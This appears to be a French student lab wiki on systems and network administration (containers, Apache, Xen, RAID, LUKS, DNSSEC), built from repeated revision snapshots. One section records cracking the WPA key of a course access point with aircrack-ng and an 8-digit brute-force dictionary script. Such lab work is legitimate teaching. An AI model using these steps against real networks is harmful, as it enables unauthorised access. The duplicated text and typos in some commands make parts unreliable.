Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon

Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :

#!/bin/bash
charset=({0..9})
permute(){
(($1 == 0)) && { echo "$2"; return; }
for char in "${charset[@]}"
do
permute "$((${1} - 1 ))" "$2$char"
done
}
permute "$1"

Que nous laçons en exécutant :

$ ./comb.sh 8 >> dictionnaire.txt

Le crack est effectué en lançant la commande :

$ aircrack-ng -a2 -b 04:DA:D2:9C:50:56 -w /path_to_file/dictionnaire.txt /path_to_file/*.cap

Nous récupérons la clé après quelques heures de calcul :

[[Fichier:Crack groupe7.png|600px]]

===Cassage de clé WEP===

== 6. Réalisation ==

===6.1 Sécurisation de données===

Création de trois partitions LVM de 1Go sur Cordouan :
lvcreate -L 1G -n /dev/virtual/hercule1 -v
lvcreate -L 1G -n /dev/virtual/hercule2 -v
lvcreate -L 1G -n /dev/virtual/hercule3 -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :

'phy:/dev/virtual/hercule1,xvdc1,w',
'phy:/dev/virtual/hercule2,xvdc2,w',
'phy:/dev/virtual/hercule3,xvdc3,w'

Installation du paquetage mdadm pour réaliser le RAID5 logiciel :
apt-get install mdadm

Création du RAID5 :
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3

On formate le RAID créé :
mkfs -t ext4 /dev/md0

On monte le RAID dans notre VM :
mount /dev/md0 /mnt

On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.
On relance la VM. Puis on essaye de remonter le RAID :
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande :
cat /proc/mdstat
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier :
mount /dev/md127 /mnt
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.

[[Fichier:Raidhercule.png|600px]]

===6.1 Cryptage de données===

Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :

$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v

Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :

$ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1

Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.

Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :

$ cryptsetup luksOpen /dev/xvdd1 home

Nous la formatons en ext4 :

$ mkfs -t ext4 /dev/mapper/home

Enfin, nous montons la partition sous /mnt :

$ mount -t ext4 /dev/mapper/home /mnt

Nous y créeons ensuite un fichier texte.

TP sysres IMA5sc 2018/2019 G7

2018-12-17T13:51:50Z

Nmehanna : /* Serveur DNS */

= Wiki de TP =

=TP GIS=

==Conteneurs "à la main"==

===Mise en place des conteneurs===

*'''Création d'une partition''':
dd if=/dev/zero of=/disk1 bs=1024K count=10240

*'''Formatage''' :
mtfs.etx4 /disk1

*'''Montage de la partition''':
mount /disk1 /mnt

*'''Installation d'un système Debian''':
debootstrap --include=apache2,nano stable /mnt

*'''Préparation du montage du pseudo système de fichier /proc''':
echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab

*''' Démontage ''':
umount /mnt

*'''Copie en 2 exemplaires''':
cp /disk1 /disk2
cp /disk1 /disk3

*'''Montage des 3 partitions :'''
mount -oloop /disk1 /mnt/dsk1
mount -oloop /disk2 /mnt/dsk2
mount -oloop /disk3 /mnt/dsk3

*'''Création du processus isolé par unshare''':
unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c "mount /proc ; /bin/bash"

===Configuration réseau===
*'''Création d'un commutateur logiciel''':
ip link add mehcret2 type bridge

*'''Création des interfaces virtuelles:'''
ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

*'''Ajout d'interfaces dans le commutateur :'''
ip link set vif1 master mehcret2
ip link set vif2 master mehcret2
ip link set vif3 master mehcret2
ip link set vif4 master bridge

*'''Activation des interfaces''':
ip link set eth0 up
ip link set eth1 up

*'''Récupération du PID des conteneurs :'''
ps auxwww | grep unshare

*'''Ajout des interfaces dans les conteneurs :'''
ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)
ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)
ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)
ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)

*'''Activation du pont:'''
ip address add dev mehcret2 192.168.60.0/24

*'''Attribution des adresses:'''
ip address add dev eth0 192.168.60.51/24 (dsk1)
ip address add dev eth0 192.168.60.52/24 (dsk2)
ip address add dev eth0 192.168.60.53/24 (dsk3)
ip address add dev eth1 172.26.145.67/24 (dsk2)
ip route add default via 172.26.145.254 (dsk2)

*'''Activation :'''
ip link set eth0 up
ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set vif4 up
ip link set mehcret2 up

On peut désormais pinger entre les différents conteneurs.

===Configuration des serveurs Web===

Nous devons maintenant mettre en place les serveurs apache.

Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants :

- mndtMehcret A 172.26.145.67 (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)

- web1Mehcret CNAME mndtMehcret (Serveur web du conteneur 1)

- web2Mehcret CNAME mndtMhecret (Serveur web du conteneur 3)

On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :

<VirtualHost *:80>
ServerName web1mehcret.plil.space
Options Indexes FollowSymLinks
DocumentRoot /var/www/html/web1mehcret/
</VirtualHost>

On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web.

Il faut maintenant mettre en place le reverse proxy.
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :

<VirtualHost *:80>
ServerName mndtMehcret.plil.space
ProxyPass "/web1" "http://192.168.60.51/"
ProxyPassReverse "/web1" "http://192.168.60.51/"
ProxyPass "/web2" "http://"http://192.168.60.53/"
ProxyPassReverse "/web2" "http://192.168.60.53/"
</VirtualHost>

Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.

Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :

$ service apache2 restart

Pour utiliser apache en mode reverse proxy, on execute la commande :

$ a2enmod proxy proxy_http

11h25 : Serveurs Web unshare OK

==Conteneurs Docker==

Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.
Nous exécutons ensuite la commande :
$ iptables-save
Puis on redémarre le service Docker :
$ service docker restart

Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.

Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :
$ docker run -i -t debian

Dans le conteneur, nous ajoutons le proxy de l'école :
$ export http_proxy=http://proxy.polytech-lille.fr:3128/

Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:
$ apt-get update
$ apt-get install apache2, nano, vim

On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires :

$ docker commit [IDduConteneur] mehcret

On créé un réseau Docker pour isoler nos conteneurs ensemble :

$ docker network create --driver bridge mehcretnetwork

Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine :

$ docker run -i --network mehcretnetwork --name mehcret1 mehcret
$ docker run -i --network mehcretnetwork --name mehcret2 mehcret
$ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret

Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.

10h30 Serveurs Web (docker) OK

=TP PRA=

Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.

==Tâche 5 : Câblage, connexion SR52, cordouan==

===Connexion des routeurs au réseau de l'école===

*'''Connexion SR52 - Routeur ISR4221 (E306)'''

Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.

Sur le routeur, on passe le port 21 sur le vlan 131 :

config t
int gi1/0/21
switchport access vlan 131
write

En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.

Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :

<gallery mode="nolines" widths=500px heights=400px>

File:TableVlansInterfacesSR52.jpg

File:LedSR52.jpg

</gallery>

*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''

En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.

===Connexion des commutateurs aux routeurs===

*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''

Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.

*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''

Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.

*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''

La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.

*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''

La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.

===Connexions au serveur Cordouan===

Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM.

*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''

Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.

*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''

Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.

===Connexion des commutateurs aux points d'accès===

===Schéma résumant le câblage réalisé :===

[[Fichier:ArchitectureMehCret.png|1500px]]

==Installation des systèmes d'exploitation==

===Création de la machine virtuelle===

Création d'une machine virtuelle sur cordouan.insecserv.deule.net :

xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen

Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg

vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']
xen create hercule.cfg

On vérifie que la machine est bien créée en s'y connectant :

xl console hercule

Création des partitions logiques sur Cordouan pour la machine virtuelle :
lvcreate -L 10G -n /dev/virtual/hercule-home -v
lvcreate -L 10G -n /dev/virtual/hercule-var -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :
'phy:/dev/virtual/hercule-home,xvdb1,w',
'phy:/dev/virtual/hercule-var,xvdb2,w'

On relance la VM.
On formate les disques créés sur la machine :
mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdb2

Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :
/dev/xvdb1 /home ext4 defaults 0 2
Puis on effectue le montage :
mount -a

Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire :
mount /dev/xvdb2 /mnt

On déplace ensuite le contenu de var dans le point de montage précédemment créé :
mv /var/* /mnt

Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :
/dev/xvdb2 /var ext4 defaults 0 2

On applique les modifications :
mount -a

===Service internet===

====Serveur DNS====

Achat du domaine hercule.pw sur gandi.

Installation de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.hercule.space. root.hercule.space (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.hercule.space.
IN NS ns6.gandi.net
@ IN A 193.48.57.183
ns IN A 193.48.57.183
www IN A 193.48.57.183

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/db.hercule.space";
allow-transfer {217.70.177.40;};
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

Redémarrage du serveur bind9 :
service bind9 restart

Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP :
name : ns.hercule.space
IP address : 193.48.57.183

Changement du nameserver principal sur Gandi (A FAIRE):
DNS 1 : ns.hercule.space

On laisse ceux de Gandi pour les deux serveurs esclaves

ZONES INVERSES A FAIRE

====DNSSEC====

Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :
dnssec-enable yes;

Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs

Création de la clef asymétrique de signature de clefs de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space
:
Création de la clef asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space

On renomme ces clef :
hercule.space-ksk.key
hercule.space-zsk.key

Puis on les inclus dans le fichier /etc/bind/db.hercule.space
$include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key
$include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key

On signe les enregistrements de la zone :
dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :
file "/etc/bind/db.hercule.space.signed";

On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.

====Serveur Apache====

Création du dossier /var/www/www.hercule.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf

<VirtualHost 193.48.57.183:443>
ServerName www.hercule.space
ServerAlias hercule.space
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt
SSLCertificateKeyFile /etc/ssl/private/hercule.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

<VirtualHost 193.48.57.183:80>
ServerName www.hercule.space
ServerAlias hercule.space
Redirect / https://www.hercule.space
</VirtualHost>

Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :

Listen 80 443

On active enfin le module SSL, notre site, et on redémarre le service apache :
a2enmod ssl
a2ensite hercule.space.conf
service apache2 restart

===Crackage de clé WPA===

Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :

$ airmon-ng start wlp2s0mon

Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :

$ airodump-ng wlp2s0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon

Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :

#!/bin/bash
charset=({0..9})
permute(){
(($1 == 0)) && { echo "$2"; return; }
for char in "${charset[@]}"
do
permute "$((${1} - 1 ))" "$2$char"
done
}
permute "$1"

Que nous laçons en exécutant :

$ ./comb.sh 8 >> dictionnaire.txt

Le crack est effectué en lançant la commande :

$ aircrack-ng -a2 -b 04:DA:D2:9C:50:56 -w /path_to_file/dictionnaire.txt /path_to_file/*.cap

Nous récupérons la clé après quelques heures de calcul :

[[Fichier:Crack groupe7.png|600px]]

TP sysres IMA5sc 2018/2019 G7

2018-12-17T13:51:26Z

Nmehanna : /* DNSSEC */

= Wiki de TP =

=TP GIS=

==Conteneurs "à la main"==

===Mise en place des conteneurs===

*'''Création d'une partition''':
dd if=/dev/zero of=/disk1 bs=1024K count=10240

*'''Formatage''' :
mtfs.etx4 /disk1

*'''Montage de la partition''':
mount /disk1 /mnt

*'''Installation d'un système Debian''':
debootstrap --include=apache2,nano stable /mnt

*'''Préparation du montage du pseudo système de fichier /proc''':
echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab

*''' Démontage ''':
umount /mnt

*'''Copie en 2 exemplaires''':
cp /disk1 /disk2
cp /disk1 /disk3

*'''Montage des 3 partitions :'''
mount -oloop /disk1 /mnt/dsk1
mount -oloop /disk2 /mnt/dsk2
mount -oloop /disk3 /mnt/dsk3

*'''Création du processus isolé par unshare''':
unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c "mount /proc ; /bin/bash"

===Configuration réseau===
*'''Création d'un commutateur logiciel''':
ip link add mehcret2 type bridge

*'''Création des interfaces virtuelles:'''
ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

*'''Ajout d'interfaces dans le commutateur :'''
ip link set vif1 master mehcret2
ip link set vif2 master mehcret2
ip link set vif3 master mehcret2
ip link set vif4 master bridge

*'''Activation des interfaces''':
ip link set eth0 up
ip link set eth1 up

*'''Récupération du PID des conteneurs :'''
ps auxwww | grep unshare

*'''Ajout des interfaces dans les conteneurs :'''
ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)
ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)
ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)
ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)

*'''Activation du pont:'''
ip address add dev mehcret2 192.168.60.0/24

*'''Attribution des adresses:'''
ip address add dev eth0 192.168.60.51/24 (dsk1)
ip address add dev eth0 192.168.60.52/24 (dsk2)
ip address add dev eth0 192.168.60.53/24 (dsk3)
ip address add dev eth1 172.26.145.67/24 (dsk2)
ip route add default via 172.26.145.254 (dsk2)

*'''Activation :'''
ip link set eth0 up
ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set vif4 up
ip link set mehcret2 up

On peut désormais pinger entre les différents conteneurs.

===Configuration des serveurs Web===

Nous devons maintenant mettre en place les serveurs apache.

Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants :

- mndtMehcret A 172.26.145.67 (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)

- web1Mehcret CNAME mndtMehcret (Serveur web du conteneur 1)

- web2Mehcret CNAME mndtMhecret (Serveur web du conteneur 3)

On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :

<VirtualHost *:80>
ServerName web1mehcret.plil.space
Options Indexes FollowSymLinks
DocumentRoot /var/www/html/web1mehcret/
</VirtualHost>

On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web.

Il faut maintenant mettre en place le reverse proxy.
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :

<VirtualHost *:80>
ServerName mndtMehcret.plil.space
ProxyPass "/web1" "http://192.168.60.51/"
ProxyPassReverse "/web1" "http://192.168.60.51/"
ProxyPass "/web2" "http://"http://192.168.60.53/"
ProxyPassReverse "/web2" "http://192.168.60.53/"
</VirtualHost>

Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.

Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :

$ service apache2 restart

Pour utiliser apache en mode reverse proxy, on execute la commande :

$ a2enmod proxy proxy_http

11h25 : Serveurs Web unshare OK

==Conteneurs Docker==

Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.
Nous exécutons ensuite la commande :
$ iptables-save
Puis on redémarre le service Docker :
$ service docker restart

Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.

Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :
$ docker run -i -t debian

Dans le conteneur, nous ajoutons le proxy de l'école :
$ export http_proxy=http://proxy.polytech-lille.fr:3128/

Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:
$ apt-get update
$ apt-get install apache2, nano, vim

On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires :

$ docker commit [IDduConteneur] mehcret

On créé un réseau Docker pour isoler nos conteneurs ensemble :

$ docker network create --driver bridge mehcretnetwork

Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine :

$ docker run -i --network mehcretnetwork --name mehcret1 mehcret
$ docker run -i --network mehcretnetwork --name mehcret2 mehcret
$ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret

Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.

10h30 Serveurs Web (docker) OK

=TP PRA=

Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.

==Tâche 5 : Câblage, connexion SR52, cordouan==

===Connexion des routeurs au réseau de l'école===

*'''Connexion SR52 - Routeur ISR4221 (E306)'''

Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.

Sur le routeur, on passe le port 21 sur le vlan 131 :

config t
int gi1/0/21
switchport access vlan 131
write

En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.

Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :

<gallery mode="nolines" widths=500px heights=400px>

File:TableVlansInterfacesSR52.jpg

File:LedSR52.jpg

</gallery>

*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''

En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.

===Connexion des commutateurs aux routeurs===

*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''

Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.

*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''

Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.

*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''

La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.

*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''

La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.

===Connexions au serveur Cordouan===

Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM.

*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''

Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.

*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''

Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.

===Connexion des commutateurs aux points d'accès===

===Schéma résumant le câblage réalisé :===

[[Fichier:ArchitectureMehCret.png|1500px]]

==Installation des systèmes d'exploitation==

===Création de la machine virtuelle===

Création d'une machine virtuelle sur cordouan.insecserv.deule.net :

xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen

Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg

vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']
xen create hercule.cfg

On vérifie que la machine est bien créée en s'y connectant :

